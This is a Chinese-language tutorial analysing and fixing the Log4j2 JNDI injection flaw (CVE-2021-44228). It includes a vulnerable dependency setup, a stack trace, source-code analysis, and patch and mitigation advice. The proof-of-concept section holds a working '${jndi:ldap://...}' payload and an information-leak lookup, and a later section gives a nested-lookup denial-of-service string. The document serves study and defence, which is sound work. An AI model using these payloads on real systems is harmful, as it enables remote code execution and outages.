log4j2利用分析与修复
字数 3663 2025-08-10 23:41:56
Log4j2漏洞分析与修复教学文档
1. 漏洞简介
Log4j2是Java开发的日志记录框架,用于记录、输出和打印日志文件。2021年底爆发的Log4j2远程代码执行漏洞(CVE-2021-44228)是近年来最严重的网络安全漏洞之一,影响范围极广。
2. 环境搭建
2.1 依赖配置
在Maven项目中,使用以下依赖配置可引入存在漏洞的Log4j2版本:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
3. 漏洞验证(POC)
3.1 基本POC代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class DemoTest {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(DemoTest.class);
logger.error("${jndi:ldap://127.0.0.1:1389/fq9vus}");
}
}
3.2 其他测试用例
// 表达式计算
logger.error("${1+1=2}");
// 系统信息泄露
logger.error("${java:os}");
4. 漏洞调用栈分析
完整的漏洞触发调用栈如下:
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)lookup:417, InitialContext (javax.naming)lookup:172, JndiManager (org.apache.logging.log4j.core.net)lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)toText:244, PatternLayout (org.apache.logging.log4j.core.layout)encode:229, PatternLayout (org.apache.logging.log4j.core.layout)encode:59, PatternLayout (org.apache.logging.log4j.core.layout)directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)log:481, LoggerConfig (org.apache.logging.log4j.core.config)log:456, LoggerConfig (org.apache.logging.log4j.core.config)log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)log:161, Logger (org.apache.logging.log4j.core)tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)error:740, AbstractLogger (org.apache.logging.log4j.spi)main:9, DemoTest
5. 漏洞详细分析
5.1 触发点分析
漏洞触发点在PatternLayout类的toText方法:
private StringBuilder toText(final Serializer2 serializer, final LogEvent event, final StringBuilder destination) {
return serializer.toSerializable(event, destination);
}
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
final int len = formatters.length;
for (int i = 0; i < len; i++) {
formatters[i].format(event, buffer);
}
if (replace != null) {
String str = buffer.toString();
str = replace.format(str);
buffer.setLength(0);
buffer.append(str);
}
return buffer;
}
关键点在于formatters[i].format(event, buffer),其中MessagePatternConverter是漏洞触发的关键类。
5.2 消息解析过程
在MessagePatternConverter的format方法中,核心处理逻辑如下:
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
当检测到${时,会提取整个字符串并调用StrSubstitutor.replace()方法处理。
5.3 变量替换机制
StrSubstitutor.replace()方法会递归处理嵌套变量:
public String replace(final LogEvent event, final String source) {
if (source == null) {
return null;
}
final StringBuilder buf = new StringBuilder(source);
if (!substitute(event, buf, 0, source.length())) {
return source;
}
return buf.toString();
}
protected boolean substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length) {
return substitute(event, buf, offset, length, null) > 0;
}
5.4 JNDI注入触发
最终会调用JndiLookup的lookup方法:
public <T> T lookup(final String name) throws NamingException {
return (T) this.context.lookup(name);
}
6. 漏洞修复方案
6.1 官方修复
官方在后续版本中修复了此漏洞,主要修改包括:
- 默认禁用JNDI查找功能
- 添加了更严格的输入验证
- 对递归解析做了限制
修复后的lookup方法会先检查环境变量:
public <T> T lookup(final String name) throws NamingException {
if (!isJndiEnabled()) {
return null;
}
return (T) this.context.lookup(name);
}
6.2 修复建议
-
升级Log4j2版本:
- 升级到2.15.0或更高版本
- 最新稳定版本是2.17.1(修复了后续发现的DoS问题)
-
临时缓解措施(如果无法立即升级):
- 设置系统属性:
-Dlog4j2.formatMsgNoLookups=true - 修改JVM参数:
-Dlog4j2.enableJndi=false - 删除
JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- 设置系统属性:
-
配置修改:
- 在log4j2.xml配置文件中设置
<Configuration status="warn" packages="org.apache.logging.log4j.core" shutdownHook="disable"> - 禁用消息查找功能:
<PatternLayout pattern="%m{nolookups}%n"/>
- 在log4j2.xml配置文件中设置
7. 其他安全问题
即使修复了RCE漏洞,仍存在拒绝服务(DoS)风险:
logger.error("${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}...");
大量嵌套的${}表达式会导致递归调用,消耗大量系统资源。
8. 总结
Log4j2漏洞的根本原因在于:
- 默认启用了危险的JNDI查找功能
- 对日志消息中的表达式进行了过度解析
- 缺乏对递归解析深度的限制
建议所有使用Log4j2的项目立即升级到最新安全版本,并审查日志处理逻辑,避免类似安全问题。